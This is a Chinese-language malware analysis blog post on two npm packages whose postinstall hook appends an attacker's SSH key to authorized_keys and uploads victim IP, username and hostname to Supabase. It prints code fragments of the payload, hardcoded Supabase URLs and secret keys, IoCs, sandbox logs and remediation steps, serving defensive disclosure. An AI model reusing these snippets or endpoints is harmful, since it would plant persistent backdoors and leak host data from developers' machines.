目录
概述
npm 账户 user0001 <[email protected]> 发布了两款恶意包,dom-utils-lite 和 centralogger,携带相同载荷。在 npm install 时,postinstall 钩子从 Supabase 存储桶中获取攻击者的 SSH 公钥,将其追加到 ~/.ssh/authorized_keys,同时收集受害者的 IP、用户名和主机名,并将这些元数据上传至同一 Supabase 项目。调度器每 60 秒重新执行一次攻击链。
影响:
- 将攻击者的 SSH 公钥写入
~/.ssh/authorized_keys - 将服务器 IP、用户名和主机名泄露至攻击者控制的 Supabase 存储
- 每 60 秒以指数退避重试机制重新运行,若用户删除密钥则重新注入
- 空的
catch块吞没所有错误
妥协指标(IoC):
| 指标 | 值 |
|---|---|
| 包名 | [email protected] |
| 包名 | [email protected](另有 1.0.5 至 1.0.8) |
| 维护者 | user0001 <[email protected]> |
| C2(dom-utils-lite) | hxxps://xienztiavkygvacpqzgr[.]supabase[.]co |
| C2(centralogger) | hxxps://ndfcioahsbgsjmulpjgt[.]supabase[.]co |
| Supabase 存储桶 | project_bucket |
| SSH 密钥路径 | public_keys/main.pem.pub |
| 泄露路径 | logs/{ip}_{hostname}.txt |
| postinstall | node setup.js |
| SHA-256(dom-utils-lite) | 4600db4fc30fb6ffa68deed4a25679e674bb3a3e8dae31f3dfc83bea0d757a8f |
| SHA-256(centralogger) | 2e131f47090516e5a60553aa40d46823e08162390c1d6deb075cf317f00309f7 |
| 后门 | 攻击者的 SSH 密钥追加至 ~/.ssh/authorized_keys |
分析
两个包,同一载荷
| 包名 | 版本 | 发布时间 | Supabase C2 项目 |
|---|---|---|---|
centralogger | 1.0.5 至 1.0.9 | 2026 年 4 月 1 日(约 7 小时内发布 5 个版本) | ndfcioahsbgsjmulpjgt |
dom-utils-lite | 1.0.0 | 2026 年 4 月 14 日 | xienztiavkygvacpqzgr |
centralogger 最早发布。一天内发布五个版本表明攻击者正在调试 postinstall 触发机制。至 dom-utils-lite 时,单次发布已足够。
对提取的 tar 包进行差异对比显示,仅有两个文件不同:
diff centralogger/package.json dom-utils-lite/package.json
< "name": "centralogger",
< "version": "1.0.9",
< "description": "A simple logger for application",
---
> "name": "dom-utils-lite",
> "version": "1.0.0",
> "description": "",
diff centralogger/supabaseClient.js dom-utils-lite/supabaseClient.js
< let SUPABASE_URL = "https://ndfcioahsbgsjmulpjgt.supabase.co"
< let SUPABASE_KEY = "sb_secret_79Y9vlaAbBRPtAcXRpfHfg_j_gl9ZG8"
---
> let SUPABASE_URL = "https://xienztiavkygvacpqzgr.supabase.co"
> let SUPABASE_KEY = "sb_secret_LbQZ91nwyeW9YXOJCm2UUQ_EzRsXhBH"其他所有文件逐字节完全一致。攻击者按攻击波次更换凭据,以便关闭一个 Supabase 项目后另一项目仍可继续运作。
载荷
postinstall 运行 setup.js,该脚本链式执行四个操作:
async function setup() {
try {
const publicKey = await getPublicKey(); // fetch SSH key from Supabase
await injectKey(publicKey); // write to ~/.ssh/authorized_keys
const server = getServerDetails(); // collect IP, username, hostname
await uploadMetadata(server); // exfiltrate to Supabase
} catch (err) {}
}
setup();index.js 以指数退避重试机制每 60 秒重复执行此链条。
injectKey.js 在 ~/.ssh/ 不存在时创建它,然后追加以 ssh-key-auto-sync 标记的攻击者密钥:
const taggedKey = \`${publicKey} ssh-key-auto-sync\`;
fs.appendFileSync(authFile, '\n' + taggedKey + '\n');supabaseClient.js 包含硬编码凭据。SSH 公钥位于 project_bucket/public_keys/main.pem.pub,在运行时获取,以便攻击者无需重新发布即可轮换密钥。
uploadMeta.js 将受害者 IP、用户名、主机名和时间戳写入 logs/{ip}_{hostname}.txt,使用 upsert: true。由于 60 秒调度器每次执行都会覆盖此文件,攻击者维护着一份实时清单:哪些机器已被入侵,以及每台机器上次签到的时间。
攻击流程
npm install dom-utils-lite
└─ postinstall: node setup.js
├─ fetchKey.js → Downloads SSH public key from Supabase bucket
├─ injectKey.js → Appends key to ~/.ssh/authorized_keys
├─ utils.js → Collects IP, username, hostname
└─ uploadMeta.js → Uploads server metadata to Supabase bucket
└─ index.js (if executed via npm start)
└─ Same chain on 60-second interval with retry动态分析
我们的基于 eBPF 的动态分析沙箱在执行 [email protected] 的 npm install 期间捕获到三条规则触发:
dom-utils-lite-blog-DA-findings.csv
| created_at | analysis_id | rule | output | |
|---|---|---|---|---|
| 1 | 2026年4月14日上午7:54 | 01KP5EQZMSVFSTX5CXH0VDD173 | Adding ssh keys to authorized_keys | 2026-04-14T07:54:48.652975141+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name= container_image_repository= container_image_tag= k8s_pod_name= k8s_ns_name= |
| 2 | 2026年4月14日上午7:54 | 01KP5EQZMSVFSTX5CXH0VDD173 | Read ssh information | 2026-04-14T07:54:48.652856311+0000: Error ssh-related file/directory read by non-ssh program | file=/root/.ssh/authorized_keys pcmdline=sh -c node setup.js evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name= container_image_repository= container_image_tag= k8s_pod_name= k8s_ns_name= |
| 3 | 2026年4月14日上午7:54 | 01KP5EQZMSVFSTX5CXH0VDD173 | Adding ssh keys to authorized_keys | 2026-04-14T07:54:48.652811211+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name= container_image_repository= container_image_tag= k8s_pod_name= k8s_ns_name= |
3 行
4 列
两条"Adding ssh keys to authorized_keys"警告和一条"Read ssh information"错误在 07:54:48 UTC 时触发,均来自以 root 身份运行的进程链 sh -c node setup.js。两次 openat 对 /root/.ssh/authorized_keys 的调用对应 injectKey.js 读取现有密钥后追加攻击者密钥。
结论
如果您安装了任一包:
- 检查
~/.ssh/authorized_keys中是否有标记为ssh-key-auto-sync的条目并将其删除 - 审计
~/.ssh/authorized_keys中是否存在任何未知密钥 - 终止这些包相关的所有残留
node进程 - 审查可能已安装任一包的 CI/CD 流水线
来自 user0001 账户的任何 npm 包都应被视为恶意。[email protected] 邮箱、存储桶名称 project_bucket 和路径 public_keys/main.pem.pub 是用于追踪该活动中其他包的宝贵线索。
参考资料
-
vet
-
malware
-
npm
-
supply-chain
-
ssh-backdoor
SafeDep 博客最新内容
关注以获取开源安全与工程的最新更新和洞察